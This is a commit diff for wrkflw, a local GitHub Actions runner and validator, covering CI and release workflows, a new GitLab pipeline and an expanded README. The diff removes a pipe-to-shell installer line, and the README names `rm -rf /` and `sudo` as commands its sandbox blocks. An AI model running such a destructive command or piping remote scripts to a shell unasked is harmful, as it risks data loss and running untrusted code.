Merge pull request #63 from bahdotsh/fix/remote-workflow-tempdir-lifecycle

fix: resolve tempdir lifecycle issue in remote workflow execution

.github/workflows/build.yml

@@ -1,51 +1,59 @@
-name: Build & Test
+name: Build
 
 on:
-  push:
-    branches: [ main ]
-  pull_request:
-    branches: [ main ]
   workflow_dispatch:
-
-env:
-  CARGO_TERM_COLOR: always
+  push:
+    branches: [main]
+  pull_request:
 
 jobs:
   build:
-    name: Build & Test
+    name: Build
+    runs-on: ${{ matrix.os }}
     strategy:
       matrix:
-        os: [ubuntu-latest, macos-latest]
-        rust: [stable]
-    runs-on: ${{ matrix.os }}
+        os: [ubuntu-latest, macos-latest, windows-latest]
+        include:
+          - os: ubuntu-latest
+            target: x86_64-unknown-linux-gnu
+          - os: macos-latest
+            target: x86_64-apple-darwin
+          - os: windows-latest
+            target: x86_64-pc-windows-msvc
+
     steps:
-      - uses: actions/checkout@v3
-      
-      - name: Install Rust
+      - name: Checkout code
+        uses: actions/checkout@v3
+
+      - name: Setup Rust
         uses: actions-rs/toolchain@v1
         with:
           profile: minimal
-          toolchain: ${{ matrix.rust }}
+          toolchain: stable
+          target: ${{ matrix.target }}
           override: true
-          components: rustfmt, clippy
-      
-      - name: Cache Dependencies
-        uses: actions/cache@v3
+          components: clippy, rustfmt
+
+      - name: Check formatting
+        uses: actions-rs/cargo@v1
         with:
-          path: |
-            ~/.cargo/registry
-            ~/.cargo/git
-            target
-          key: ${{ runner.os }}-cargo-${{ hashFiles('**/Cargo.lock') }}
-      
-      - name: Check Formatting
-        run: cargo fmt --all -- --check
-      
-      - name: Lint with Clippy
-        run: cargo clippy -- -D warnings
-      
+          command: fmt
+          args: -- --check
+
+      - name: Run clippy
+        uses: actions-rs/cargo@v1
+        with:
+          command: clippy
+          args: -- -D warnings
+
       - name: Build
-        run: cargo build --verbose
-      
-      - name: Run Tests
-        run: cargo test --verbose 
+        uses: actions-rs/cargo@v1
+        with:
+          command: build
+          args: --target ${{ matrix.target }}
+
+      - name: Run tests
+        uses: actions-rs/cargo@v1
+        with:
+          command: test
+          args: --target ${{ matrix.target }}

.github/workflows/release.yml

@@ -4,11 +4,24 @@ on:
   push:
     tags:
       - 'v*'
+  workflow_dispatch:
+    inputs:
+      version:
+        description: 'Version to use (e.g. v1.0.0)'
+        required: true
+        default: 'test-release'
+
+# Add permissions at workflow level
+permissions:
+  contents: write
 
 jobs:
   create-release:
     name: Create Release
     runs-on: ubuntu-latest
+    # You can also set permissions at the job level if needed
+    # permissions:
+    #   contents: write
     outputs:
       upload_url: ${{ steps.create_release.outputs.upload_url }}
     steps:
@@ -17,22 +30,52 @@ jobs:
         with:
           fetch-depth: 0
       
+      - name: Setup Rust
+        uses: actions-rs/toolchain@v1
+        with:
+          profile: minimal
+          toolchain: stable
+          override: true
+      
       - name: Install git-cliff
         run: |
-          curl -LSfs https://raw.githubusercontent.com/orhun/git-cliff/main/install.sh | sh -s -- --version latest
-          echo "$HOME/.cargo/bin" >> $GITHUB_PATH
+          cargo install git-cliff --force
       
       - name: Generate Changelog
-        run: git cliff --latest --output CHANGELOG.md
+        run: |
+          # Debug: Show current state
+          echo "Current ref: ${{ github.ref_name }}"
+          echo "Input version: ${{ github.event.inputs.version }}"
+          echo "All tags:"
+          git tag --sort=-version:refname | head -10
+          
+          # Generate changelog from the current tag to the previous version tag
+          CURRENT_TAG="${{ github.event.inputs.version || github.ref_name }}"
+          PREVIOUS_TAG=$(git tag --sort=-version:refname | grep "^v" | head -2 | tail -1)
+          
+          echo "Current tag: $CURRENT_TAG"
+          echo "Previous tag: $PREVIOUS_TAG"
+          
+          if [ -n "$PREVIOUS_TAG" ] && [ "$PREVIOUS_TAG" != "$CURRENT_TAG" ]; then
+            echo "Generating changelog for range: $PREVIOUS_TAG..$CURRENT_TAG"
+            git-cliff --tag "$CURRENT_TAG" "$PREVIOUS_TAG..$CURRENT_TAG" --output CHANGELOG.md
+          else
+            echo "Generating latest changelog for tag: $CURRENT_TAG"
+            git-cliff --tag "$CURRENT_TAG" --latest --output CHANGELOG.md
+          fi
+          
+          echo "Generated changelog:"
+          cat CHANGELOG.md
       
       - name: Create Release
         id: create_release
         uses: softprops/action-gh-release@v1
         with:
-          name: "wrkflw ${{ github.ref_name }}"
+          name: "wrkflw ${{ github.event.inputs.version || github.ref_name }}"
           body_path: CHANGELOG.md
           draft: false
           prerelease: false
+          tag_name: ${{ github.event.inputs.version || github.ref_name }}
         env:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
@@ -40,25 +83,24 @@ jobs:
     name: Build Release
     needs: [create-release]
     runs-on: ${{ matrix.os }}
+    # You can also set permissions at the job level if needed
+    # permissions:
+    #   contents: write
     strategy:
       matrix:
         include:
           - os: ubuntu-latest
             target: x86_64-unknown-linux-gnu
             artifact_name: wrkflw
-            asset_name: wrkflw-${{ github.ref_name }}-linux-x86_64
+            asset_name: wrkflw-${{ github.event.inputs.version || github.ref_name }}-linux-x86_64
           - os: macos-latest
             target: x86_64-apple-darwin
             artifact_name: wrkflw
-            asset_name: wrkflw-${{ github.ref_name }}-macos-x86_64
+            asset_name: wrkflw-${{ github.event.inputs.version || github.ref_name }}-macos-x86_64
           - os: macos-latest
             target: aarch64-apple-darwin
             artifact_name: wrkflw
-            asset_name: wrkflw-${{ github.ref_name }}-macos-arm64
-          - os: windows-latest
-            target: x86_64-pc-windows-msvc
-            artifact_name: wrkflw.exe
-            asset_name: wrkflw-${{ github.ref_name }}-windows-x86_64
+            asset_name: wrkflw-${{ github.event.inputs.version || github.ref_name }}-macos-arm64
 
     steps:
       - name: Checkout code
@@ -103,5 +145,6 @@ jobs:
         uses: softprops/action-gh-release@v1
         with:
           files: ${{ env.ASSET_PATH }}
+          tag_name: ${{ github.event.inputs.version || github.ref_name }}
         env:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 

.gitlab-ci.yml

@@ -0,0 +1,100 @@
+# GitLab CI/CD Pipeline for wrkflw
+# This pipeline will build and test the Rust project
+
+stages:
+  - build
+  - test
+  - deploy
+
+variables:
+  RUST_VERSION: "1.70.0"
+  CARGO_TERM_COLOR: always
+
+# Cache settings
+cache:
+  key: "$CI_COMMIT_REF_SLUG"
+  paths:
+    - target/
+  script:
+    - echo "This is a placeholder - the cache directive doesn't need a script"
+
+# Lint job - runs rustfmt and clippy
+lint:
+  stage: test
+  image: rust:${RUST_VERSION}
+  script:
+    - rustup component add clippy
+    - cargo clippy -- -D warnings
+  allow_failure: true
+
+# Build job - builds the application
+build:
+  stage: build
+  image: rust:${RUST_VERSION}
+  script:
+    - cargo build --verbose
+  artifacts:
+    paths:
+      - target/debug
+    expire_in: 1 week
+
+# Test job - runs unit and integration tests
+test:
+  stage: test
+  image: rust:${RUST_VERSION}
+  script:
+    - cargo test --verbose
+  dependencies:
+    - build
+
+# Release job - creates a release build
+release:
+  stage: deploy
+  image: rust:${RUST_VERSION}
+  script:
+    - cargo build --release --verbose
+  artifacts:
+    paths:
+      - target/release/wrkflw
+    expire_in: 1 month
+  rules:
+    - if: $CI_PIPELINE_SOURCE == "web" && $BUILD_RELEASE == "true"
+      when: always
+    - if: $CI_COMMIT_TAG
+      when: always
+    - when: never
+
+# Custom job for documentation
+docs:
+  stage: deploy
+  image: rust:${RUST_VERSION}
+  script:
+    - cargo doc --no-deps
+    - mkdir -p public
+    - cp -r target/doc/* public/
+  artifacts:
+    paths:
+      - public
+  only:
+    - main
+
+format:
+  stage: test
+  image: rust:${RUST_VERSION}
+  script:
+    - rustup component add rustfmt
+    - cargo fmt --check
+  allow_failure: true
+
+pages:
+  stage: deploy
+  image: rust:${RUST_VERSION}
+  script:
+    - cargo doc --no-deps
+    - mkdir -p public
+    - cp -r target/doc/* public/
+  artifacts:
+    paths:
+      - public
+  only:
+    - main 

Cargo.toml

@@ -1,6 +1,9 @@
-[package]
-name = "wrkflw"
-version = "0.3.0"
+[workspace]
+members = ["crates/*"]
+resolver = "2"
+
+[workspace.package]
+version = "0.7.3"
 edition = "2021"
 description = "A GitHub Actions workflow validator and executor"
 documentation = "https://github.com/bahdotsh/wrkflw"
@@ -10,12 +13,29 @@ keywords = ["workflows", "github", "local"]
 categories = ["command-line-utilities"]
 license = "MIT"
 
-[dependencies]
+[workspace.dependencies]
+# Internal crate dependencies
+wrkflw-models = { path = "crates/models", version = "0.7.3" }
+wrkflw-evaluator = { path = "crates/evaluator", version = "0.7.3" }
+wrkflw-executor = { path = "crates/executor", version = "0.7.3" }
+wrkflw-github = { path = "crates/github", version = "0.7.3" }
+wrkflw-gitlab = { path = "crates/gitlab", version = "0.7.3" }
+wrkflw-logging = { path = "crates/logging", version = "0.7.3" }
+wrkflw-matrix = { path = "crates/matrix", version = "0.7.3" }
+wrkflw-parser = { path = "crates/parser", version = "0.7.3" }
+wrkflw-runtime = { path = "crates/runtime", version = "0.7.3" }
+wrkflw-secrets = { path = "crates/secrets", version = "0.7.3" }
+wrkflw-ui = { path = "crates/ui", version = "0.7.3" }
+wrkflw-utils = { path = "crates/utils", version = "0.7.3" }
+wrkflw-validators = { path = "crates/validators", version = "0.7.3" }
+
+# External dependencies
 clap = { version = "4.3", features = ["derive"] }
 colored = "2.0"
 serde = { version = "1.0", features = ["derive"] }
 serde_yaml = "0.9"
 serde_json = "1.0"
+jsonschema = "0.17"
 tokio = { version = "1.28", features = ["full"] }
 async-trait = "0.1"
 bollard = "0.14"
@@ -36,11 +56,15 @@ itertools = "0.11.0"
 indexmap = { version = "2.0.0", features = ["serde"] }
 rayon = "1.7.0"
 num_cpus = "1.16.0"
-regex = "1.9"
+regex = "1.10"
 lazy_static = "1.4"
-reqwest = { version = "0.11", features = ["json"] }
+reqwest = { version = "0.11", default-features = false, features = [
+    "rustls-tls",
+    "json",
+] }
 libc = "0.2"
 nix = { version = "0.27.1", features = ["fs"] }
+urlencoding = "2.1.3"
 
 [profile.release]
 codegen-units = 1

GITLAB_USAGE.md

@@ -0,0 +1,83 @@
+# Using wrkflw with GitLab Pipelines
+
+This guide explains how to use the `wrkflw` tool to trigger GitLab CI/CD pipelines.
+
+## Prerequisites
+
+1. A GitLab repository with a `.gitlab-ci.yml` file
+2. A GitLab personal access token with API access
+3. `wrkflw` installed on your system
+
+## Setting Up
+
+1. Create a GitLab personal access token:
+   - Go to GitLab > User Settings > Access Tokens
+   - Create a token with `api` scope
+   - Copy the token value
+
+2. Set the token as an environment variable:
+   ```bash
+   export GITLAB_TOKEN=your_token_here
+   ```
+
+## Triggering a Pipeline
+
+You can trigger a GitLab pipeline using the `trigger-gitlab` command:
+
+```bash
+# Trigger using the default branch
+wrkflw trigger-gitlab
+
+# Trigger on a specific branch
+wrkflw trigger-gitlab --branch feature-branch
+
+# Trigger with custom variables
+wrkflw trigger-gitlab --variable BUILD_RELEASE=true
+```
+
+### Example: Triggering a Release Build
+
+To trigger the release build job in our sample pipeline:
+
+```bash
+wrkflw trigger-gitlab --variable BUILD_RELEASE=true
+```
+
+This will set the `BUILD_RELEASE` variable to `true`, which activates the release job in our sample pipeline.
+
+### Example: Building Documentation
+
+To trigger the documentation build job:
+
+```bash
+wrkflw trigger-gitlab --variable BUILD_DOCS=true
+```
+
+## Controlling Job Execution with Variables
+
+Our sample GitLab pipeline is configured to make certain jobs conditional based on variables. You can use the `--variable` flag to control which jobs run:
+
+| Variable | Purpose |
+|----------|---------|
+| `BUILD_RELEASE` | Set to `true` to run the release job |
+| `BUILD_DOCS` | Set to `true` to build documentation |
+
+## Checking Pipeline Status
+
+After triggering a pipeline, you can check its status directly on GitLab:
+
+1. Navigate to your GitLab repository
+2. Go to CI/CD > Pipelines
+3. Find your recently triggered pipeline
+
+The `wrkflw` command will also provide a direct URL to the pipeline after triggering.
+
+## Troubleshooting
+
+If you encounter issues:
+
+1. Verify your GitLab token is set correctly
+2. Check that you're in a repository with a valid GitLab remote URL
+3. Ensure your `.gitlab-ci.yml` file is valid
+4. Check that your GitLab token has API access permissions
+5. Review GitLab's CI/CD pipeline logs for detailed error information 

README.md

@@ -13,22 +13,58 @@ WRKFLW is a powerful command-line tool for validating and executing GitHub Actio
 ## Features
 
 - **TUI Interface**: A full-featured terminal user interface for managing and monitoring workflow executions
-- **Validate Workflow Files**: Check for syntax errors and common mistakes in GitHub Actions workflow files
-- **Execute Workflows Locally**: Run workflows directly on your machine using Docker containers
-- **Emulation Mode**: Optional execution without Docker by emulating the container environment locally
+- **Validate Workflow Files**: Check for syntax errors and common mistakes in GitHub Actions workflow files with proper exit codes for CI/CD integration
+- **Execute Workflows Locally**: Run workflows directly on your machine using Docker or Podman containers
+- **Multiple Container Runtimes**: Support for Docker, Podman, and emulation mode for maximum flexibility
 - **Job Dependency Resolution**: Automatically determines the correct execution order based on job dependencies
-- **Docker Integration**: Execute workflow steps in isolated Docker containers with proper environment setup
+- **Container Integration**: Execute workflow steps in isolated containers with proper environment setup
 - **GitHub Context**: Provides GitHub-like environment variables and workflow commands
-- **Multiple Runtime Modes**: Choose between Docker containers or local emulation for maximum flexibility
+- **Rootless Execution**: Podman support enables running containers without root privileges
 - **Action Support**: Supports various GitHub Actions types:
   - Docker container actions
   - JavaScript actions
   - Composite actions
   - Local actions
 - **Special Action Handling**: Native handling for commonly used actions like `actions/checkout`
+- **Reusable Workflows (Caller Jobs)**: Execute jobs that call reusable workflows via `jobs.<id>.uses` (local path or `owner/repo/path@ref`)
 - **Output Capturing**: View logs, step outputs, and execution details
 - **Parallel Job Execution**: Runs independent jobs in parallel for faster workflow execution
-- **Trigger Workflows Remotely**: Manually trigger workflow runs on GitHub
+- **Trigger Workflows Remotely**: Manually trigger workflow runs on GitHub or GitLab
+
+## Requirements
+
+### Container Runtime (Optional)
+
+WRKFLW supports multiple container runtimes for isolated execution:
+
+- **Docker**: The default container runtime. Install from [docker.com](https://docker.com)
+- **Podman**: A rootless container runtime. Perfect for environments where Docker isn't available or permitted. Install from [podman.io](https://podman.io)
+- **Emulation**: No container runtime required. Executes commands directly on the host system
+
+### Podman Support
+
+Podman is particularly useful in environments where:
+- Docker installation is not permitted by your organization
+- Root privileges are not available for Docker daemon
+- You prefer rootless container execution
+- Enhanced security through daemonless architecture is desired
+
+To use Podman:
+```bash
+# Install Podman (varies by OS)
+# On macOS with Homebrew:
+brew install podman
+
+# On Ubuntu/Debian:
+sudo apt-get install podman
+
+# Initialize Podman machine (macOS/Windows)
+podman machine init
+podman machine start
+
+# Use with wrkflw
+wrkflw run --runtime podman .github/workflows/ci.yml
+```
 
 ## Installation
 
@@ -75,21 +111,63 @@ wrkflw validate path/to/workflow.yml
 # Validate workflows in a specific directory
 wrkflw validate path/to/workflows
 
+# Validate multiple files and/or directories (GitHub and GitLab are auto-detected)
+wrkflw validate path/to/flow-1.yml path/to/flow-2.yml path/to/workflows
+
+# Force GitLab parsing for all provided paths
+wrkflw validate --gitlab .gitlab-ci.yml other.gitlab-ci.yml
+
 # Validate with verbose output
 wrkflw validate --verbose path/to/workflow.yml
+
+# Validate GitLab CI pipelines
+wrkflw validate .gitlab-ci.yml --gitlab
+
+# Disable exit codes for custom error handling (default: enabled)
+wrkflw validate --no-exit-code path/to/workflow.yml
 ```
 
+#### Exit Codes for CI/CD Integration
+
+By default, `wrkflw validate` sets the exit code to `1` when validation fails, making it perfect for CI/CD pipelines and scripts:
+
+```bash
+# In CI/CD scripts - validation failure will cause the script to exit
+if ! wrkflw validate; then
+    echo "❌ Workflow validation failed!"
+    exit 1
+fi
+echo "✅ All workflows are valid!"
+
+# For custom error handling, disable exit codes
+wrkflw validate --no-exit-code
+if [ $? -eq 0 ]; then
+    echo "Validation completed (check output for details)"
+fi
+```
+
+**Exit Code Behavior:**
+- `0`: All validations passed successfully
+- `1`: One or more validation failures detected
+- `2`: Command usage error (invalid arguments, file not found, etc.)
+
 ### Running Workflows in CLI Mode
 
 ```bash
 # Run a workflow with Docker (default)
 wrkflw run .github/workflows/ci.yml
 
-# Run a workflow in emulation mode (without Docker)
-wrkflw run --emulate .github/workflows/ci.yml
+# Run a workflow with Podman instead of Docker
+wrkflw run --runtime podman .github/workflows/ci.yml
+
+# Run a workflow in emulation mode (without containers)
+wrkflw run --runtime emulation .github/workflows/ci.yml
 
 # Run with verbose output
 wrkflw run --verbose .github/workflows/ci.yml
+
+# Preserve failed containers for debugging
+wrkflw run --preserve-containers-on-failure .github/workflows/ci.yml
 ```
 
 ### Using the TUI Interface
@@ -104,8 +182,11 @@ wrkflw tui path/to/workflows
 # Open TUI with a specific workflow pre-selected
 wrkflw tui path/to/workflow.yml
 
+# Open TUI with Podman runtime
+wrkflw tui --runtime podman
+
 # Open TUI in emulation mode
-wrkflw tui --emulate
+wrkflw tui --runtime emulation
 ```
 
 ### Triggering Workflows Remotely
@@ -113,6 +194,9 @@ wrkflw tui --emulate
 ```bash
 # Trigger a workflow remotely on GitHub
 wrkflw trigger workflow-name --branch main --input key1=value1 --input key2=value2
+
+# Trigger a pipeline remotely on GitLab
+wrkflw trigger-gitlab --branch main --variable key1=value1 --variable key2=value2
 ```
 
 ## TUI Controls
@@ -126,7 +210,7 @@ The terminal user interface provides an interactive way to manage workflows:
 - **r**: Run all selected workflows
 - **a**: Select all workflows
 - **n**: Deselect all workflows
-- **e**: Toggle between Docker and Emulation mode
+- **e**: Cycle through runtime modes (Docker → Podman → Emulation)
 - **v**: Toggle between Execution and Validation mode
 - **Esc**: Back / Exit detailed view
 - **q**: Quit application
@@ -137,17 +221,25 @@ The terminal user interface provides an interactive way to manage workflows:
 
 ```bash
 $ wrkflw validate .github/workflows/rust.yml
+Validating GitHub workflow file: .github/workflows/rust.yml... Validating 1 workflow file(s)...
+✅ Valid: .github/workflows/rust.yml
 
-Validating workflows in: .github/workflows/rust.yml
-============================================================
-✅ Valid: rust.yml
-------------------------------------------------------------
+Summary: 1 valid, 0 invalid
 
-Summary
-============================================================
-✅ 1 valid workflow file(s)
+$ echo $?
+0
 
-All workflows are valid! 🎉
+# Example with validation failure
+$ wrkflw validate .github/workflows/invalid.yml
+Validating GitHub workflow file: .github/workflows/invalid.yml... Validating 1 workflow file(s)...
+❌ Invalid: .github/workflows/invalid.yml
+   1. Job 'test' is missing 'runs-on' field
+   2. Job 'test' is missing 'steps' section
+
+Summary: 0 valid, 1 invalid
+
+$ echo $?
+1
 ```
 
 ### Running a Workflow
@@ -181,20 +273,22 @@ $ wrkflw
 # This will automatically load .github/workflows files into the TUI
 ```
 
-## Requirements
+## System Requirements
 
 - Rust 1.67 or later
-- Docker (optional, for container-based execution)
-  - When not using Docker, the emulation mode can run workflows using your local system tools
+- Container Runtime (optional, for container-based execution):
+  - **Docker**: Traditional container runtime
+  - **Podman**: Rootless alternative to Docker  
+  - **None**: Emulation mode runs workflows using local system tools
 
 ## How It Works
 
-WRKFLW parses your GitHub Actions workflow files and executes each job and step in the correct order. For Docker mode, it creates containers that closely match GitHub's runner environments. The workflow execution process:
+WRKFLW parses your GitHub Actions workflow files and executes each job and step in the correct order. For container modes (Docker/Podman), it creates containers that closely match GitHub's runner environments. The workflow execution process:
 
 1. **Parsing**: Reads and validates the workflow YAML structure
 2. **Dependency Resolution**: Creates an execution plan based on job dependencies
 3. **Environment Setup**: Prepares GitHub-like environment variables and context
-4. **Execution**: Runs each job and step either in Docker containers or through local emulation
+4. **Execution**: Runs each job and step either in containers (Docker/Podman) or through local emulation
 5. **Monitoring**: Tracks progress and captures outputs in the TUI or command line
 
 ## Advanced Features
@@ -218,14 +312,231 @@ WRKFLW supports composite actions, which are actions made up of multiple steps.
 
 ### Container Cleanup
 
-WRKFLW automatically cleans up any Docker containers created during workflow execution, even if the process is interrupted with Ctrl+C.
+WRKFLW automatically cleans up any containers created during workflow execution (Docker/Podman), even if the process is interrupted with Ctrl+C.
+
+For debugging failed workflows, you can preserve containers that fail by using the `--preserve-containers-on-failure` flag:
+
+```bash
+# Preserve failed containers for debugging
+wrkflw run --preserve-containers-on-failure .github/workflows/build.yml
+
+# Also available in TUI mode
+wrkflw tui --preserve-containers-on-failure
+```
+
+When a container fails with this flag enabled, WRKFLW will:
+- Keep the failed container running instead of removing it
+- Log the container ID and provide inspection instructions
+- Show a message like: `Preserving container abc123 for debugging (exit code: 1). Use 'docker exec -it abc123 bash' to inspect.` (Docker)
+- Or: `Preserving container abc123 for debugging (exit code: 1). Use 'podman exec -it abc123 bash' to inspect.` (Podman)
+
+This allows you to inspect the exact state of the container when the failure occurred, examine files, check environment variables, and debug issues more effectively.
+
+### Podman-Specific Features
+
+When using Podman as the container runtime, you get additional benefits:
+
+**Rootless Operation:**
+```bash
+# Run workflows without root privileges
+wrkflw run --runtime podman .github/workflows/ci.yml
+```
+
+**Enhanced Security:**
+- Daemonless architecture reduces attack surface
+- User namespaces provide additional isolation
+- No privileged daemon required
+
+**Container Inspection:**
+```bash
+# List preserved containers
+podman ps -a --filter "name=wrkflw-"
+
+# Inspect a preserved container's filesystem (without executing)
+podman mount <container-id>
+
+# Or run a new container with the same volumes
+podman run --rm -it --volumes-from <failed-container> ubuntu:20.04 bash
+
+# Clean up all wrkflw containers
+podman ps -a --filter "name=wrkflw-" --format "{{.Names}}" | xargs podman rm -f
+```
+
+**Compatibility:**
+- Drop-in replacement for Docker workflows
+- Same CLI options and behavior
+- Identical container execution environment
 
 ## Limitations
 
-- Some GitHub-specific functionality might not work exactly as it does on GitHub
-- Complex matrix builds with very large matrices may have performance limitations
-- Actions that require specific GitHub environment features may need customization
-- Network-isolated actions might need internet connectivity configured differently
+### Supported Features
+- ✅ Basic workflow syntax and validation (all YAML syntax checks, required fields, and structure) with proper exit codes for CI/CD integration
+- ✅ Job dependency resolution and parallel execution (all jobs with correct 'needs' relationships are executed in the right order, and independent jobs run in parallel)
+- ✅ Matrix builds (supported for reasonable matrix sizes; very large matrices may be slow or resource-intensive)
+- ✅ Environment variables and GitHub context (all standard GitHub Actions environment variables and context objects are emulated)
+- ✅ Container actions (all actions that use containers are supported in Docker and Podman modes)
+- ✅ JavaScript actions (all actions that use JavaScript are supported)
+- ✅ Composite actions (all composite actions, including nested and local composite actions, are supported)
+- ✅ Local actions (actions referenced with local paths are supported)
+- ✅ Special handling for common actions (e.g., `actions/checkout` is natively supported)
+- ✅ Reusable workflows (caller): Jobs that use `jobs.<id>.uses` to call local or remote workflows are executed; inputs and secrets are propagated to the called workflow
+- ✅ Workflow triggering via `workflow_dispatch` (manual triggering of workflows is supported)
+- ✅ GitLab pipeline triggering (manual triggering of GitLab pipelines is supported)
+- ✅ Environment files (`GITHUB_OUTPUT`, `GITHUB_ENV`, `GITHUB_PATH`, `GITHUB_STEP_SUMMARY` are fully supported)
+- ✅ TUI interface for workflow management and monitoring
+- ✅ CLI interface for validation, execution, and remote triggering
+- ✅ Output capturing (logs, step outputs, and execution details are available in both TUI and CLI)
+- ✅ Container cleanup (all containers created by wrkflw are automatically cleaned up, even on interruption)
+
+### Limited or Unsupported Features (Explicit List)
+- ❌ GitHub secrets and permissions: Only basic environment variables are supported. GitHub's encrypted secrets and fine-grained permissions are NOT available.
+- ❌ GitHub Actions cache: Caching functionality (e.g., `actions/cache`) is NOT supported in emulation mode and only partially supported in Docker and Podman modes (no persistent cache between runs).
+- ❌ GitHub API integrations: Only basic workflow triggering is supported. Features like workflow status reporting, artifact upload/download, and API-based job control are NOT available.
+- ❌ GitHub-specific environment variables: Some advanced or dynamic environment variables (e.g., those set by GitHub runners or by the GitHub API) are emulated with static or best-effort values, but not all are fully functional.
+- ❌ Large/complex matrix builds: Very large matrices (hundreds or thousands of job combinations) may not be practical due to performance and resource limits.
+- ❌ Network-isolated actions: Actions that require strict network isolation or custom network configuration may not work out-of-the-box and may require manual container runtime configuration.
+- ❌ Some event triggers: Only `workflow_dispatch` (manual trigger) is fully supported. Other triggers (e.g., `push`, `pull_request`, `schedule`, `release`, etc.) are NOT supported.
+- ❌ GitHub runner-specific features: Features that depend on the exact GitHub-hosted runner environment (e.g., pre-installed tools, runner labels, or hardware) are NOT guaranteed to match. Only a best-effort emulation is provided.
+- ❌ Windows and macOS runners: Only Linux-based runners are fully supported. Windows and macOS jobs are NOT supported.
+- ❌ Service containers: Service containers (e.g., databases defined in `services:`) are only supported in Docker and Podman modes. In emulation mode, they are NOT supported.
+- ❌ Artifacts: Uploading and downloading artifacts between jobs/steps is NOT supported.
+- ❌ Job/step timeouts: Custom timeouts for jobs and steps are NOT enforced.
+- ❌ Job/step concurrency and cancellation: Features like `concurrency` and job cancellation are NOT supported.
+- ❌ Expressions and advanced YAML features: Most common expressions are supported, but some advanced or edge-case expressions may not be fully implemented.
+- ⚠️ Reusable workflows (limits):
+  - Outputs from called workflows are not propagated back to the caller (`needs.<id>.outputs.*` not supported)
+  - `secrets: inherit` is not special-cased; provide a mapping to pass secrets
+  - Remote calls clone public repos via HTTPS; private repos require preconfigured access (not yet implemented)
+  - Deeply nested reusable calls work but lack cycle detection beyond regular job dependency checks
+
+## Reusable Workflows
+
+WRKFLW supports executing reusable workflow caller jobs.
+
+### Syntax
+
+```yaml
+jobs:
+  call-local:
+    uses: ./.github/workflows/shared.yml
+
+  call-remote:
+    uses: my-org/my-repo/.github/workflows/shared.yml@v1
+    with:
+      foo: bar
+    secrets:
+      token: ${{ secrets.MY_TOKEN }}
+```
+
+### Behavior
+- Local references are resolved relative to the current working directory.
+- Remote references are shallow-cloned at the specified `@ref` into a temporary directory.
+- `with:` entries are exposed to the called workflow as environment variables `INPUT_<KEY>`.
+- `secrets:` mapping entries are exposed as environment variables `SECRET_<KEY>`.
+- The called workflow executes according to its own `jobs`/`needs`; a summary of its job results is reported as a single result for the caller job.
+
+### Current limitations
+- Outputs from called workflows are not surfaced back to the caller.
+- `secrets: inherit` is not supported; specify an explicit mapping.
+- Private repositories for remote `uses:` are not yet supported.
+
+### Runtime Mode Differences
+- **Docker Mode**: Provides the closest match to GitHub's environment, including support for Docker container actions, service containers, and Linux-based jobs. Some advanced container configurations may still require manual setup.
+- **Podman Mode**: Similar to Docker mode but uses Podman for container execution. Offers rootless container support and enhanced security. Fully compatible with Docker-based workflows.
+- **🔒 Secure Emulation Mode**: Runs workflows on the local system with comprehensive sandboxing for security. **Recommended for local development**:
+  - Command validation and filtering (blocks dangerous commands like `rm -rf /`, `sudo`, etc.)
+  - Resource limits (CPU, memory, execution time)
+  - Filesystem access controls
+  - Process monitoring and limits
+  - Safe for running untrusted workflows locally
+- **⚠️ Emulation Mode (Legacy)**: Runs workflows using local system tools without sandboxing. **Not recommended - use Secure Emulation instead**:
+  - Only supports local and JavaScript actions (no Docker container actions)
+  - No support for service containers
+  - No caching support
+  - **No security protections - can execute harmful commands**
+  - Some actions may require adaptation to work locally
+
+### Best Practices
+- **Use Secure Emulation mode for local development** - provides safety without container overhead
+- Test workflows in multiple runtime modes to ensure compatibility
+- **Use Docker/Podman mode for production** - provides maximum isolation and reproducibility
+- Keep matrix builds reasonably sized for better performance
+- Use environment variables instead of GitHub secrets when possible
+- Consider using local actions for complex custom functionality
+- **Review security warnings** - pay attention to blocked commands in secure emulation mode
+- **Start with secure mode** - only fall back to legacy emulation if necessary
+
+## Roadmap
+
+The following roadmap outlines our planned approach to implementing currently unsupported or partially supported features in WRKFLW. Progress and priorities may change based on user feedback and community contributions.
+
+### 1. Secrets and Permissions
+- **Goal:** Support encrypted secrets and fine-grained permissions similar to GitHub Actions.
+- **Plan:** 
+  - Implement secure secret storage and injection for workflow steps.
+  - Add support for reading secrets from environment variables, files, or secret managers.
+  - Investigate permission scoping for jobs and steps.
+
+### 2. GitHub Actions Cache
+- **Goal:** Enable persistent caching between workflow runs, especially for dependencies.
+- **Plan:** 
+  - Implement a local cache directory for Docker mode.
+  - Add support for `actions/cache` in both Docker and emulation modes.
+  - Investigate cross-run cache persistence.
+
+### 3. GitHub API Integrations
+- **Goal:** Support artifact upload/download, workflow/job status reporting, and other API-based features.
+- **Plan:** 
+  - Add artifact upload/download endpoints.
+  - Implement status reporting to GitHub via the API.
+  - Add support for job/step annotations and logs upload.
+
+### 4. Advanced Environment Variables
+- **Goal:** Emulate all dynamic GitHub-provided environment variables.
+- **Plan:** 
+  - Audit missing variables and add dynamic computation where possible.
+  - Provide a compatibility table in the documentation.
+
+### 5. Large/Complex Matrix Builds
+- **Goal:** Improve performance and resource management for large matrices.
+- **Plan:** 
+  - Optimize matrix expansion and job scheduling.
+  - Add resource limits and warnings for very large matrices.
+
+### 6. Network-Isolated Actions
+- **Goal:** Support custom network configurations and strict isolation for actions.
+- **Plan:** 
+  - Add advanced container network configuration options for Docker and Podman.
+  - Document best practices for network isolation.
+
+### 7. Event Triggers
+- **Goal:** Support additional triggers (`push`, `pull_request`, `schedule`, etc.).
+- **Plan:** 
+  - Implement event simulation for common triggers.
+  - Allow users to specify event payloads for local runs.
+
+### 8. Windows and macOS Runners
+- **Goal:** Add support for non-Linux runners.
+- **Plan:** 
+  - Investigate cross-platform containerization and emulation.
+  - Add documentation for platform-specific limitations.
+
+### 9. Service Containers in Emulation Mode
+- **Goal:** Support service containers (e.g., databases) in emulation mode.
+- **Plan:** 
+  - Implement local service startup and teardown scripts.
+  - Provide configuration for common services.
+
+### 10. Artifacts, Timeouts, Concurrency, and Expressions
+- **Goal:** Support artifact handling, job/step timeouts, concurrency, and advanced YAML expressions.
+- **Plan:** 
+  - Add artifact storage and retrieval.
+  - Enforce timeouts and concurrency limits.
+  - Expand expression parser for advanced use cases.
+
+---
+
+**Want to help?** Contributions are welcome! See [CONTRIBUTING.md](CONTRIBUTING.md) for how to get started.
 
 ## License
 

VERSION_MANAGEMENT.md

@@ -0,0 +1,279 @@
+# Version Management Guide
+
+This guide explains how to manage versions in the wrkflw workspace, both for the entire workspace and for individual crates.
+
+## Overview
+
